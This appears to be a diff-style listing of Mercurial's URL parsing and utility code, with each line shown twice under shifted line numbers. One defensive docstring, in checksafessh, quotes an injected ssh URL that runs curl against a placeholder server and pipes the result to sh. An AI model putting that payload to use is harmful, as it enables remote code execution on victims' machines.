2671 >>> url(r'file:///C:\users\me')
2670 >>> url(r'file:///C:\users\me')
2672 <url scheme: 'file', path: 'C:\\users\\me'>
2671 <url scheme: 'file', path: 'C:\\users\\me'>
2673
2672
2674 Authentication credentials:
2673 Authentication credentials:
2675
2674
2676 >>> url('ssh://joe:xyz@x/repo')
2675 >>> url('ssh://joe:xyz@x/repo')
2677 <url scheme: 'ssh', user: 'joe', passwd: 'xyz', host: 'x', path: 'repo'>
2676 <url scheme: 'ssh', user: 'joe', passwd: 'xyz', host: 'x', path: 'repo'>
2678 >>> url('ssh://joe@x/repo')
2677 >>> url('ssh://joe@x/repo')
2679 <url scheme: 'ssh', user: 'joe', host: 'x', path: 'repo'>
2678 <url scheme: 'ssh', user: 'joe', host: 'x', path: 'repo'>
2680
2679
2681 Query strings and fragments:
2680 Query strings and fragments:
2682
2681
2683 >>> url('http://host/a?b#c')
2682 >>> url('http://host/a?b#c')
2684 <url scheme: 'http', host: 'host', path: 'a', query: 'b', fragment: 'c'>
2683 <url scheme: 'http', host: 'host', path: 'a', query: 'b', fragment: 'c'>
2685 >>> url('http://host/a?b#c', parsequery=False, parsefragment=False)
2684 >>> url('http://host/a?b#c', parsequery=False, parsefragment=False)
2686 <url scheme: 'http', host: 'host', path: 'a?b#c'>
2685 <url scheme: 'http', host: 'host', path: 'a?b#c'>
2687
2686
2688 Empty path:
2687 Empty path:
2689
2688
2690 >>> url('')
2689 >>> url('')
2691 <url path: ''>
2690 <url path: ''>
2692 >>> url('#a')
2691 >>> url('#a')
2693 <url path: '', fragment: 'a'>
2692 <url path: '', fragment: 'a'>
2694 >>> url('http://host/')
2693 >>> url('http://host/')
2695 <url scheme: 'http', host: 'host', path: ''>
2694 <url scheme: 'http', host: 'host', path: ''>
2696 >>> url('http://host/#a')
2695 >>> url('http://host/#a')
2697 <url scheme: 'http', host: 'host', path: '', fragment: 'a'>
2696 <url scheme: 'http', host: 'host', path: '', fragment: 'a'>
2698
2697
2699 Only scheme:
2698 Only scheme:
2700
2699
2701 >>> url('http:')
2700 >>> url('http:')
2702 <url scheme: 'http'>
2701 <url scheme: 'http'>
2703 """
2702 """
2704
2703
2705 _safechars = "!~*'()+"
2704 _safechars = "!~*'()+"
2706 _safepchars = "/!~*'()+:\\"
2705 _safepchars = "/!~*'()+:\\"
2707 _matchscheme = remod.compile('^[a-zA-Z0-9+.\\-]+:').match
2706 _matchscheme = remod.compile('^[a-zA-Z0-9+.\\-]+:').match
2708
2707
2709 def __init__(self, path, parsequery=True, parsefragment=True):
2708 def __init__(self, path, parsequery=True, parsefragment=True):
2710 # We slowly chomp away at path until we have only the path left
2709 # We slowly chomp away at path until we have only the path left
2711 self.scheme = self.user = self.passwd = self.host = None
2710 self.scheme = self.user = self.passwd = self.host = None
2712 self.port = self.path = self.query = self.fragment = None
2711 self.port = self.path = self.query = self.fragment = None
2713 self._localpath = True
2712 self._localpath = True
2714 self._hostport = ''
2713 self._hostport = ''
2715 self._origpath = path
2714 self._origpath = path
2716
2715
2717 if parsefragment and '#' in path:
2716 if parsefragment and '#' in path:
2718 path, self.fragment = path.split('#', 1)
2717 path, self.fragment = path.split('#', 1)
2719
2718
2720 # special case for Windows drive letters and UNC paths
2719 # special case for Windows drive letters and UNC paths
2721 if hasdriveletter(path) or path.startswith('\\\\'):
2720 if hasdriveletter(path) or path.startswith('\\\\'):
2722 self.path = path
2721 self.path = path
2723 return
2722 return
2724
2723
2725 # For compatibility reasons, we can't handle bundle paths as
2724 # For compatibility reasons, we can't handle bundle paths as
2726 # normal URLS
2725 # normal URLS
2727 if path.startswith('bundle:'):
2726 if path.startswith('bundle:'):
2728 self.scheme = 'bundle'
2727 self.scheme = 'bundle'
2729 path = path[7:]
2728 path = path[7:]
2730 if path.startswith('//'):
2729 if path.startswith('//'):
2731 path = path[2:]
2730 path = path[2:]
2732 self.path = path
2731 self.path = path
2733 return
2732 return
2734
2733
2735 if self._matchscheme(path):
2734 if self._matchscheme(path):
2736 parts = path.split(':', 1)
2735 parts = path.split(':', 1)
2737 if parts[0]:
2736 if parts[0]:
2738 self.scheme, path = parts
2737 self.scheme, path = parts
2739 self._localpath = False
2738 self._localpath = False
2740
2739
2741 if not path:
2740 if not path:
2742 path = None
2741 path = None
2743 if self._localpath:
2742 if self._localpath:
2744 self.path = ''
2743 self.path = ''
2745 return
2744 return
2746 else:
2745 else:
2747 if self._localpath:
2746 if self._localpath:
2748 self.path = path
2747 self.path = path
2749 return
2748 return
2750
2749
2751 if parsequery and '?' in path:
2750 if parsequery and '?' in path:
2752 path, self.query = path.split('?', 1)
2751 path, self.query = path.split('?', 1)
2753 if not path:
2752 if not path:
2754 path = None
2753 path = None
2755 if not self.query:
2754 if not self.query:
2756 self.query = None
2755 self.query = None
2757
2756
2758 # // is required to specify a host/authority
2757 # // is required to specify a host/authority
2759 if path and path.startswith('//'):
2758 if path and path.startswith('//'):
2760 parts = path[2:].split('/', 1)
2759 parts = path[2:].split('/', 1)
2761 if len(parts) > 1:
2760 if len(parts) > 1:
2762 self.host, path = parts
2761 self.host, path = parts
2763 else:
2762 else:
2764 self.host = parts[0]
2763 self.host = parts[0]
2765 path = None
2764 path = None
2766 if not self.host:
2765 if not self.host:
2767 self.host = None
2766 self.host = None
2768 # path of file:///d is /d
2767 # path of file:///d is /d
2769 # path of file:///d:/ is d:/, not /d:/
2768 # path of file:///d:/ is d:/, not /d:/
2770 if path and not hasdriveletter(path):
2769 if path and not hasdriveletter(path):
2771 path = '/' + path
2770 path = '/' + path
2772
2771
2773 if self.host and '@' in self.host:
2772 if self.host and '@' in self.host:
2774 self.user, self.host = self.host.rsplit('@', 1)
2773 self.user, self.host = self.host.rsplit('@', 1)
2775 if ':' in self.user:
2774 if ':' in self.user:
2776 self.user, self.passwd = self.user.split(':', 1)
2775 self.user, self.passwd = self.user.split(':', 1)
2777 if not self.host:
2776 if not self.host:
2778 self.host = None
2777 self.host = None
2779
2778
2780 # Don't split on colons in IPv6 addresses without ports
2779 # Don't split on colons in IPv6 addresses without ports
2781 if (self.host and ':' in self.host and
2780 if (self.host and ':' in self.host and
2782 not (self.host.startswith('[') and self.host.endswith(']'))):
2781 not (self.host.startswith('[') and self.host.endswith(']'))):
2783 self._hostport = self.host
2782 self._hostport = self.host
2784 self.host, self.port = self.host.rsplit(':', 1)
2783 self.host, self.port = self.host.rsplit(':', 1)
2785 if not self.host:
2784 if not self.host:
2786 self.host = None
2785 self.host = None
2787
2786
2788 if (self.host and self.scheme == 'file' and
2787 if (self.host and self.scheme == 'file' and
2789 self.host not in ('localhost', '127.0.0.1', '[::1]')):
2788 self.host not in ('localhost', '127.0.0.1', '[::1]')):
2790 raise Abort(_('file:// URLs can only refer to localhost'))
2789 raise Abort(_('file:// URLs can only refer to localhost'))
2791
2790
2792 self.path = path
2791 self.path = path
2793
2792
2794 # leave the query string escaped
2793 # leave the query string escaped
2795 for a in ('user', 'passwd', 'host', 'port',
2794 for a in ('user', 'passwd', 'host', 'port',
2796 'path', 'fragment'):
2795 'path', 'fragment'):
2797 v = getattr(self, a)
2796 v = getattr(self, a)
2798 if v is not None:
2797 if v is not None:
2799 setattr(self, a, urlreq.unquote(v))
2798 setattr(self, a, urlreq.unquote(v))
2800
2799
2801 @encoding.strmethod
2800 @encoding.strmethod
2802 def __repr__(self):
2801 def __repr__(self):
2803 attrs = []
2802 attrs = []
2804 for a in ('scheme', 'user', 'passwd', 'host', 'port', 'path',
2803 for a in ('scheme', 'user', 'passwd', 'host', 'port', 'path',
2805 'query', 'fragment'):
2804 'query', 'fragment'):
2806 v = getattr(self, a)
2805 v = getattr(self, a)
2807 if v is not None:
2806 if v is not None:
2808 attrs.append('%s: %r' % (a, v))
2807 attrs.append('%s: %r' % (a, v))
2809 return '<url %s>' % ', '.join(attrs)
2808 return '<url %s>' % ', '.join(attrs)
2810
2809
2811 def __bytes__(self):
2810 def __bytes__(self):
2812 r"""Join the URL's components back into a URL string.
2811 r"""Join the URL's components back into a URL string.
2813
2812
2814 Examples:
2813 Examples:
2815
2814
2816 >>> str(url('http://user:pw@host:80/c:/bob?fo:oo#ba:ar'))
2815 >>> str(url('http://user:pw@host:80/c:/bob?fo:oo#ba:ar'))
2817 'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'
2816 'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'
2818 >>> str(url('http://user:pw@host:80/?foo=bar&baz=42'))
2817 >>> str(url('http://user:pw@host:80/?foo=bar&baz=42'))
2819 'http://user:pw@host:80/?foo=bar&baz=42'
2818 'http://user:pw@host:80/?foo=bar&baz=42'
2820 >>> str(url('http://user:pw@host:80/?foo=bar%3dbaz'))
2819 >>> str(url('http://user:pw@host:80/?foo=bar%3dbaz'))
2821 'http://user:pw@host:80/?foo=bar%3dbaz'
2820 'http://user:pw@host:80/?foo=bar%3dbaz'
2822 >>> str(url('ssh://user:pw@[::1]:2200//home/joe#'))
2821 >>> str(url('ssh://user:pw@[::1]:2200//home/joe#'))
2823 'ssh://user:pw@[::1]:2200//home/joe#'
2822 'ssh://user:pw@[::1]:2200//home/joe#'
2824 >>> str(url('http://localhost:80//'))
2823 >>> str(url('http://localhost:80//'))
2825 'http://localhost:80//'
2824 'http://localhost:80//'
2826 >>> str(url('http://localhost:80/'))
2825 >>> str(url('http://localhost:80/'))
2827 'http://localhost:80/'
2826 'http://localhost:80/'
2828 >>> str(url('http://localhost:80'))
2827 >>> str(url('http://localhost:80'))
2829 'http://localhost:80/'
2828 'http://localhost:80/'
2830 >>> str(url('bundle:foo'))
2829 >>> str(url('bundle:foo'))
2831 'bundle:foo'
2830 'bundle:foo'
2832 >>> str(url('bundle://../foo'))
2831 >>> str(url('bundle://../foo'))
2833 'bundle:../foo'
2832 'bundle:../foo'
2834 >>> str(url('path'))
2833 >>> str(url('path'))
2835 'path'
2834 'path'
2836 >>> str(url('file:///tmp/foo/bar'))
2835 >>> str(url('file:///tmp/foo/bar'))
2837 'file:///tmp/foo/bar'
2836 'file:///tmp/foo/bar'
2838 >>> str(url('file:///c:/tmp/foo/bar'))
2837 >>> str(url('file:///c:/tmp/foo/bar'))
2839 'file:///c:/tmp/foo/bar'
2838 'file:///c:/tmp/foo/bar'
2840 >>> print url(r'bundle:foo\bar')
2839 >>> print url(r'bundle:foo\bar')
2841 bundle:foo\bar
2840 bundle:foo\bar
2842 >>> print url(r'file:///D:\data\hg')
2841 >>> print url(r'file:///D:\data\hg')
2843 file:///D:\data\hg
2842 file:///D:\data\hg
2844 """
2843 """
2845 if self._localpath:
2844 if self._localpath:
2846 s = self.path
2845 s = self.path
2847 if self.scheme == 'bundle':
2846 if self.scheme == 'bundle':
2848 s = 'bundle:' + s
2847 s = 'bundle:' + s
2849 if self.fragment:
2848 if self.fragment:
2850 s += '#' + self.fragment
2849 s += '#' + self.fragment
2851 return s
2850 return s
2852
2851
2853 s = self.scheme + ':'
2852 s = self.scheme + ':'
2854 if self.user or self.passwd or self.host:
2853 if self.user or self.passwd or self.host:
2855 s += '//'
2854 s += '//'
2856 elif self.scheme and (not self.path or self.path.startswith('/')
2855 elif self.scheme and (not self.path or self.path.startswith('/')
2857 or hasdriveletter(self.path)):
2856 or hasdriveletter(self.path)):
2858 s += '//'
2857 s += '//'
2859 if hasdriveletter(self.path):
2858 if hasdriveletter(self.path):
2860 s += '/'
2859 s += '/'
2861 if self.user:
2860 if self.user:
2862 s += urlreq.quote(self.user, safe=self._safechars)
2861 s += urlreq.quote(self.user, safe=self._safechars)
2863 if self.passwd:
2862 if self.passwd:
2864 s += ':' + urlreq.quote(self.passwd, safe=self._safechars)
2863 s += ':' + urlreq.quote(self.passwd, safe=self._safechars)
2865 if self.user or self.passwd:
2864 if self.user or self.passwd:
2866 s += '@'
2865 s += '@'
2867 if self.host:
2866 if self.host:
2868 if not (self.host.startswith('[') and self.host.endswith(']')):
2867 if not (self.host.startswith('[') and self.host.endswith(']')):
2869 s += urlreq.quote(self.host)
2868 s += urlreq.quote(self.host)
2870 else:
2869 else:
2871 s += self.host
2870 s += self.host
2872 if self.port:
2871 if self.port:
2873 s += ':' + urlreq.quote(self.port)
2872 s += ':' + urlreq.quote(self.port)
2874 if self.host:
2873 if self.host:
2875 s += '/'
2874 s += '/'
2876 if self.path:
2875 if self.path:
2877 # TODO: similar to the query string, we should not unescape the
2876 # TODO: similar to the query string, we should not unescape the
2878 # path when we store it, the path might contain '%2f' = '/',
2877 # path when we store it, the path might contain '%2f' = '/',
2879 # which we should *not* escape.
2878 # which we should *not* escape.
2880 s += urlreq.quote(self.path, safe=self._safepchars)
2879 s += urlreq.quote(self.path, safe=self._safepchars)
2881 if self.query:
2880 if self.query:
2882 # we store the query in escaped form.
2881 # we store the query in escaped form.
2883 s += '?' + self.query
2882 s += '?' + self.query
2884 if self.fragment is not None:
2883 if self.fragment is not None:
2885 s += '#' + urlreq.quote(self.fragment, safe=self._safepchars)
2884 s += '#' + urlreq.quote(self.fragment, safe=self._safepchars)
2886 return s
2885 return s
2887
2886
2888 __str__ = encoding.strmethod(__bytes__)
2887 __str__ = encoding.strmethod(__bytes__)
2889
2888
2890 def authinfo(self):
2889 def authinfo(self):
2891 user, passwd = self.user, self.passwd
2890 user, passwd = self.user, self.passwd
2892 try:
2891 try:
2893 self.user, self.passwd = None, None
2892 self.user, self.passwd = None, None
2894 s = bytes(self)
2893 s = bytes(self)
2895 finally:
2894 finally:
2896 self.user, self.passwd = user, passwd
2895 self.user, self.passwd = user, passwd
2897 if not self.user:
2896 if not self.user:
2898 return (s, None)
2897 return (s, None)
2899 # authinfo[1] is passed to urllib2 password manager, and its
2898 # authinfo[1] is passed to urllib2 password manager, and its
2900 # URIs must not contain credentials. The host is passed in the
2899 # URIs must not contain credentials. The host is passed in the
2901 # URIs list because Python < 2.4.3 uses only that to search for
2900 # URIs list because Python < 2.4.3 uses only that to search for
2902 # a password.
2901 # a password.
2903 return (s, (None, (s, self.host),
2902 return (s, (None, (s, self.host),
2904 self.user, self.passwd or ''))
2903 self.user, self.passwd or ''))
2905
2904
2906 def isabs(self):
2905 def isabs(self):
2907 if self.scheme and self.scheme != 'file':
2906 if self.scheme and self.scheme != 'file':
2908 return True # remote URL
2907 return True # remote URL
2909 if hasdriveletter(self.path):
2908 if hasdriveletter(self.path):
2910 return True # absolute for our purposes - can't be joined()
2909 return True # absolute for our purposes - can't be joined()
2911 if self.path.startswith(br'\\'):
2910 if self.path.startswith(br'\\'):
2912 return True # Windows UNC path
2911 return True # Windows UNC path
2913 if self.path.startswith('/'):
2912 if self.path.startswith('/'):
2914 return True # POSIX-style
2913 return True # POSIX-style
2915 return False
2914 return False
2916
2915
2917 def localpath(self):
2916 def localpath(self):
2918 if self.scheme == 'file' or self.scheme == 'bundle':
2917 if self.scheme == 'file' or self.scheme == 'bundle':
2919 path = self.path or '/'
2918 path = self.path or '/'
2920 # For Windows, we need to promote hosts containing drive
2919 # For Windows, we need to promote hosts containing drive
2921 # letters to paths with drive letters.
2920 # letters to paths with drive letters.
2922 if hasdriveletter(self._hostport):
2921 if hasdriveletter(self._hostport):
2923 path = self._hostport + '/' + self.path
2922 path = self._hostport + '/' + self.path
2924 elif (self.host is not None and self.path
2923 elif (self.host is not None and self.path
2925 and not hasdriveletter(path)):
2924 and not hasdriveletter(path)):
2926 path = '/' + path
2925 path = '/' + path
2927 return path
2926 return path
2928 return self._origpath
2927 return self._origpath
2929
2928
2930 def islocal(self):
2929 def islocal(self):
2931 '''whether localpath will return something that posixfile can open'''
2930 '''whether localpath will return something that posixfile can open'''
2932 return (not self.scheme or self.scheme == 'file'
2931 return (not self.scheme or self.scheme == 'file'
2933 or self.scheme == 'bundle')
2932 or self.scheme == 'bundle')
2934
2933
2935 def hasscheme(path):
2934 def hasscheme(path):
2936 return bool(url(path).scheme)
2935 return bool(url(path).scheme)
2937
2936
2938 def hasdriveletter(path):
2937 def hasdriveletter(path):
2939 return path and path[1:2] == ':' and path[0:1].isalpha()
2938 return path and path[1:2] == ':' and path[0:1].isalpha()
2940
2939
2941 def urllocalpath(path):
2940 def urllocalpath(path):
2942 return url(path, parsequery=False, parsefragment=False).localpath()
2941 return url(path, parsequery=False, parsefragment=False).localpath()
2943
2942
2944 def checksafessh(path):
2943 def checksafessh(path):
2945 """check if a path / url is a potentially unsafe ssh exploit (SEC)
2944 """check if a path / url is a potentially unsafe ssh exploit (SEC)
2946
2945
2947 This is a sanity check for ssh urls. ssh will parse the first item as
2946 This is a sanity check for ssh urls. ssh will parse the first item as
2948 an option; e.g. ssh://-oProxyCommand=curl${IFS}bad.server|sh/path.
2947 an option; e.g. ssh://-oProxyCommand=curl${IFS}bad.server|sh/path.
2949 Let's prevent these potentially exploited urls entirely and warn the
2948 Let's prevent these potentially exploited urls entirely and warn the
2950 user.
2949 user.
2951
2950
2952 Raises an error.Abort when the url is unsafe.
2951 Raises an error.Abort when the url is unsafe.
2953 """
2952 """
2954 path = urlreq.unquote(path)
2953 path = urlreq.unquote(path)
2955 if path.startswith('ssh://-') or path.startswith('svn+ssh://-'):
2954 if path.startswith('ssh://-') or path.startswith('svn+ssh://-'):
2956 raise error.Abort(_('potentially unsafe url: %r') %
2955 raise error.Abort(_('potentially unsafe url: %r') %
2957 (path,))
2956 (path,))
2958
2957
2959 def hidepassword(u):
2958 def hidepassword(u):
2960 '''hide user credential in a url string'''
2959 '''hide user credential in a url string'''
2961 u = url(u)
2960 u = url(u)
2962 if u.passwd:
2961 if u.passwd:
2963 u.passwd = '***'
2962 u.passwd = '***'
2964 return bytes(u)
2963 return bytes(u)
2965
2964
2966 def removeauth(u):
2965 def removeauth(u):
2967 '''remove all authentication information from a url string'''
2966 '''remove all authentication information from a url string'''
2968 u = url(u)
2967 u = url(u)
2969 u.user = u.passwd = None
2968 u.user = u.passwd = None
2970 return str(u)
2969 return str(u)
2971
2970
2972 timecount = unitcountfn(
2971 timecount = unitcountfn(
2973 (1, 1e3, _('%.0f s')),
2972 (1, 1e3, _('%.0f s')),
2974 (100, 1, _('%.1f s')),
2973 (100, 1, _('%.1f s')),
2975 (10, 1, _('%.2f s')),
2974 (10, 1, _('%.2f s')),
2976 (1, 1, _('%.3f s')),
2975 (1, 1, _('%.3f s')),
2977 (100, 0.001, _('%.1f ms')),
2976 (100, 0.001, _('%.1f ms')),
2978 (10, 0.001, _('%.2f ms')),
2977 (10, 0.001, _('%.2f ms')),
2979 (1, 0.001, _('%.3f ms')),
2978 (1, 0.001, _('%.3f ms')),
2980 (100, 0.000001, _('%.1f us')),
2979 (100, 0.000001, _('%.1f us')),
2981 (10, 0.000001, _('%.2f us')),
2980 (10, 0.000001, _('%.2f us')),
2982 (1, 0.000001, _('%.3f us')),
2981 (1, 0.000001, _('%.3f us')),
2983 (100, 0.000000001, _('%.1f ns')),
2982 (100, 0.000000001, _('%.1f ns')),
2984 (10, 0.000000001, _('%.2f ns')),
2983 (10, 0.000000001, _('%.2f ns')),
2985 (1, 0.000000001, _('%.3f ns')),
2984 (1, 0.000000001, _('%.3f ns')),
2986 )
2985 )
2987
2986
2988 _timenesting = [0]
2987 _timenesting = [0]
2989
2988
2990 def timed(func):
2989 def timed(func):
2991 '''Report the execution time of a function call to stderr.
2990 '''Report the execution time of a function call to stderr.
2992
2991
2993 During development, use as a decorator when you need to measure
2992 During development, use as a decorator when you need to measure
2994 the cost of a function, e.g. as follows:
2993 the cost of a function, e.g. as follows:
2995
2994
2996 @util.timed
2995 @util.timed
2997 def foo(a, b, c):
2996 def foo(a, b, c):
2998 pass
2997 pass
2999 '''
2998 '''
3000
2999
3001 def wrapper(*args, **kwargs):
3000 def wrapper(*args, **kwargs):
3002 start = timer()
3001 start = timer()
3003 indent = 2
3002 indent = 2
3004 _timenesting[0] += indent
3003 _timenesting[0] += indent
3005 try:
3004 try:
3006 return func(*args, **kwargs)
3005 return func(*args, **kwargs)
3007 finally:
3006 finally:
3008 elapsed = timer() - start
3007 elapsed = timer() - start
3009 _timenesting[0] -= indent
3008 _timenesting[0] -= indent
3010 stderr.write('%s%s: %s\n' %
3009 stderr.write('%s%s: %s\n' %
3011 (' ' * _timenesting[0], func.__name__,
3010 (' ' * _timenesting[0], func.__name__,
3012 timecount(elapsed)))
3011 timecount(elapsed)))
3013 return wrapper
3012 return wrapper
3014
3013
3015 _sizeunits = (('m', 2**20), ('k', 2**10), ('g', 2**30),
3014 _sizeunits = (('m', 2**20), ('k', 2**10), ('g', 2**30),
3016 ('kb', 2**10), ('mb', 2**20), ('gb', 2**30), ('b', 1))
3015 ('kb', 2**10), ('mb', 2**20), ('gb', 2**30), ('b', 1))
3017
3016
3018 def sizetoint(s):
3017 def sizetoint(s):
3019 '''Convert a space specifier to a byte count.
3018 '''Convert a space specifier to a byte count.
3020
3019
3021 >>> sizetoint('30')
3020 >>> sizetoint('30')
3022 30
3021 30
3023 >>> sizetoint('2.2kb')
3022 >>> sizetoint('2.2kb')
3024 2252
3023 2252
3025 >>> sizetoint('6M')
3024 >>> sizetoint('6M')
3026 6291456
3025 6291456
3027 '''
3026 '''
3028 t = s.strip().lower()
3027 t = s.strip().lower()
3029 try:
3028 try:
3030 for k, u in _sizeunits:
3029 for k, u in _sizeunits:
3031 if t.endswith(k):
3030 if t.endswith(k):
3032 return int(float(t[:-len(k)]) * u)
3031 return int(float(t[:-len(k)]) * u)
3033 return int(t)
3032 return int(t)
3034 except ValueError:
3033 except ValueError:
3035 raise error.ParseError(_("couldn't parse size: %s") % s)
3034 raise error.ParseError(_("couldn't parse size: %s") % s)
3036
3035
3037 class hooks(object):
3036 class hooks(object):
3038 '''A collection of hook functions that can be used to extend a
3037 '''A collection of hook functions that can be used to extend a
3039 function's behavior. Hooks are called in lexicographic order,
3038 function's behavior. Hooks are called in lexicographic order,
3040 based on the names of their sources.'''
3039 based on the names of their sources.'''
3041
3040
3042 def __init__(self):
3041 def __init__(self):
3043 self._hooks = []
3042 self._hooks = []
3044
3043
3045 def add(self, source, hook):
3044 def add(self, source, hook):
3046 self._hooks.append((source, hook))
3045 self._hooks.append((source, hook))
3047
3046
3048 def __call__(self, *args):
3047 def __call__(self, *args):
3049 self._hooks.sort(key=lambda x: x[0])
3048 self._hooks.sort(key=lambda x: x[0])
3050 results = []
3049 results = []
3051 for source, hook in self._hooks:
3050 for source, hook in self._hooks:
3052 results.append(hook(*args))
3051 results.append(hook(*args))
3053 return results
3052 return results
3054
3053
3055 def getstackframes(skip=0, line=' %-*s in %s\n', fileline='%s:%s', depth=0):
3054 def getstackframes(skip=0, line=' %-*s in %s\n', fileline='%s:%s', depth=0):
3056 '''Yields lines for a nicely formatted stacktrace.
3055 '''Yields lines for a nicely formatted stacktrace.
3057 Skips the 'skip' last entries, then return the last 'depth' entries.
3056 Skips the 'skip' last entries, then return the last 'depth' entries.
3058 Each file+linenumber is formatted according to fileline.
3057 Each file+linenumber is formatted according to fileline.
3059 Each line is formatted according to line.
3058 Each line is formatted according to line.
3060 If line is None, it yields:
3059 If line is None, it yields:
3061 length of longest filepath+line number,
3060 length of longest filepath+line number,
3062 filepath+linenumber,
3061 filepath+linenumber,
3063 function
3062 function
3064
3063
3065 Not be used in production code but very convenient while developing.
3064 Not be used in production code but very convenient while developing.
3066 '''
3065 '''
3067 entries = [(fileline % (fn, ln), func)
3066 entries = [(fileline % (fn, ln), func)
3068 for fn, ln, func, _text in traceback.extract_stack()[:-skip - 1]
3067 for fn, ln, func, _text in traceback.extract_stack()[:-skip - 1]
3069 ][-depth:]
3068 ][-depth:]
3070 if entries:
3069 if entries:
3071 fnmax = max(len(entry[0]) for entry in entries)
3070 fnmax = max(len(entry[0]) for entry in entries)
3072 for fnln, func in entries:
3071 for fnln, func in entries:
3073 if line is None:
3072 if line is None:
3074 yield (fnmax, fnln, func)
3073 yield (fnmax, fnln, func)
3075 else:
3074 else:
3076 yield line % (fnmax, fnln, func)
3075 yield line % (fnmax, fnln, func)
3077
3076
3078 def debugstacktrace(msg='stacktrace', skip=0,
3077 def debugstacktrace(msg='stacktrace', skip=0,
3079 f=stderr, otherf=stdout, depth=0):
3078 f=stderr, otherf=stdout, depth=0):
3080 '''Writes a message to f (stderr) with a nicely formatted stacktrace.
3079 '''Writes a message to f (stderr) with a nicely formatted stacktrace.
3081 Skips the 'skip' entries closest to the call, then show 'depth' entries.
3080 Skips the 'skip' entries closest to the call, then show 'depth' entries.
3082 By default it will flush stdout first.
3081 By default it will flush stdout first.
3083 It can be used everywhere and intentionally does not require an ui object.
3082 It can be used everywhere and intentionally does not require an ui object.
3084 Not be used in production code but very convenient while developing.
3083 Not be used in production code but very convenient while developing.
3085 '''
3084 '''
3086 if otherf:
3085 if otherf:
3087 otherf.flush()
3086 otherf.flush()
3088 f.write('%s at:\n' % msg.rstrip())
3087 f.write('%s at:\n' % msg.rstrip())
3089 for line in getstackframes(skip + 1, depth=depth):
3088 for line in getstackframes(skip + 1, depth=depth):
3090 f.write(line)
3089 f.write(line)
3091 f.flush()
3090 f.flush()
3092
3091
3093 class dirs(object):
3092 class dirs(object):
3094 '''a multiset of directory names from a dirstate or manifest'''
3093 '''a multiset of directory names from a dirstate or manifest'''
3095
3094
3096 def __init__(self, map, skip=None):
3095 def __init__(self, map, skip=None):
3097 self._dirs = {}
3096 self._dirs = {}
3098 addpath = self.addpath
3097 addpath = self.addpath
3099 if safehasattr(map, 'iteritems') and skip is not None:
3098 if safehasattr(map, 'iteritems') and skip is not None:
3100 for f, s in map.iteritems():
3099 for f, s in map.iteritems():
3101 if s[0] != skip:
3100 if s[0] != skip:
3102 addpath(f)
3101 addpath(f)
3103 else:
3102 else:
3104 for f in map:
3103 for f in map:
3105 addpath(f)
3104 addpath(f)
3106
3105
3107 def addpath(self, path):
3106 def addpath(self, path):
3108 dirs = self._dirs
3107 dirs = self._dirs
3109 for base in finddirs(path):
3108 for base in finddirs(path):
3110 if base in dirs:
3109 if base in dirs:
3111 dirs[base] += 1
3110 dirs[base] += 1
3112 return
3111 return
3113 dirs[base] = 1
3112 dirs[base] = 1
3114
3113
3115 def delpath(self, path):
3114 def delpath(self, path):
3116 dirs = self._dirs
3115 dirs = self._dirs
3117 for base in finddirs(path):
3116 for base in finddirs(path):
3118 if dirs[base] > 1:
3117 if dirs[base] > 1:
3119 dirs[base] -= 1
3118 dirs[base] -= 1
3120 return
3119 return
3121 del dirs[base]
3120 del dirs[base]
3122
3121
3123 def __iter__(self):
3122 def __iter__(self):
3124 return iter(self._dirs)
3123 return iter(self._dirs)
3125
3124
3126 def __contains__(self, d):
3125 def __contains__(self, d):
3127 return d in self._dirs
3126 return d in self._dirs
3128
3127
3129 if safehasattr(parsers, 'dirs'):
3128 if safehasattr(parsers, 'dirs'):
3130 dirs = parsers.dirs
3129 dirs = parsers.dirs
3131
3130
3132 def finddirs(path):
3131 def finddirs(path):
3133 pos = path.rfind('/')
3132 pos = path.rfind('/')
3134 while pos != -1:
3133 while pos != -1:
3135 yield path[:pos]
3134 yield path[:pos]
3136 pos = path.rfind('/', 0, pos)
3135 pos = path.rfind('/', 0, pos)
3137
3136
3138 # compression code
3137 # compression code
3139
3138
3140 SERVERROLE = 'server'
3139 SERVERROLE = 'server'
3141 CLIENTROLE = 'client'
3140 CLIENTROLE = 'client'
3142
3141
3143 compewireprotosupport = collections.namedtuple(u'compenginewireprotosupport',
3142 compewireprotosupport = collections.namedtuple(u'compenginewireprotosupport',
3144 (u'name', u'serverpriority',
3143 (u'name', u'serverpriority',
3145 u'clientpriority'))
3144 u'clientpriority'))
3146
3145
3147 class compressormanager(object):
3146 class compressormanager(object):
3148 """Holds registrations of various compression engines.
3147 """Holds registrations of various compression engines.
3149
3148
3150 This class essentially abstracts the differences between compression
3149 This class essentially abstracts the differences between compression
3151 engines to allow new compression formats to be added easily, possibly from
3150 engines to allow new compression formats to be added easily, possibly from
3152 extensions.
3151 extensions.
3153
3152
3154 Compressors are registered against the global instance by calling its
3153 Compressors are registered against the global instance by calling its
3155 ``register()`` method.
3154 ``register()`` method.
3156 """
3155 """
3157 def __init__(self):
3156 def __init__(self):
3158 self._engines = {}
3157 self._engines = {}
3159 # Bundle spec human name to engine name.
3158 # Bundle spec human name to engine name.
3160 self._bundlenames = {}
3159 self._bundlenames = {}
3161 # Internal bundle identifier to engine name.
3160 # Internal bundle identifier to engine name.
3162 self._bundletypes = {}
3161 self._bundletypes = {}
3163 # Revlog header to engine name.
3162 # Revlog header to engine name.
3164 self._revlogheaders = {}
3163 self._revlogheaders = {}
3165 # Wire proto identifier to engine name.
3164 # Wire proto identifier to engine name.
3166 self._wiretypes = {}
3165 self._wiretypes = {}
3167
3166
3168 def __getitem__(self, key):
3167 def __getitem__(self, key):
3169 return self._engines[key]
3168 return self._engines[key]
3170
3169
3171 def __contains__(self, key):
3170 def __contains__(self, key):
3172 return key in self._engines
3171 return key in self._engines
3173
3172
3174 def __iter__(self):
3173 def __iter__(self):
3175 return iter(self._engines.keys())
3174 return iter(self._engines.keys())
3176
3175
3177 def register(self, engine):
3176 def register(self, engine):
3178 """Register a compression engine with the manager.
3177 """Register a compression engine with the manager.
3179
3178
3180 The argument must be a ``compressionengine`` instance.
3179 The argument must be a ``compressionengine`` instance.
3181 """
3180 """
3182 if not isinstance(engine, compressionengine):
3181 if not isinstance(engine, compressionengine):
3183 raise ValueError(_('argument must be a compressionengine'))
3182 raise ValueError(_('argument must be a compressionengine'))
3184
3183
3185 name = engine.name()
3184 name = engine.name()
3186
3185
3187 if name in self._engines:
3186 if name in self._engines:
3188 raise error.Abort(_('compression engine %s already registered') %
3187 raise error.Abort(_('compression engine %s already registered') %
3189 name)
3188 name)
3190
3189
3191 bundleinfo = engine.bundletype()
3190 bundleinfo = engine.bundletype()
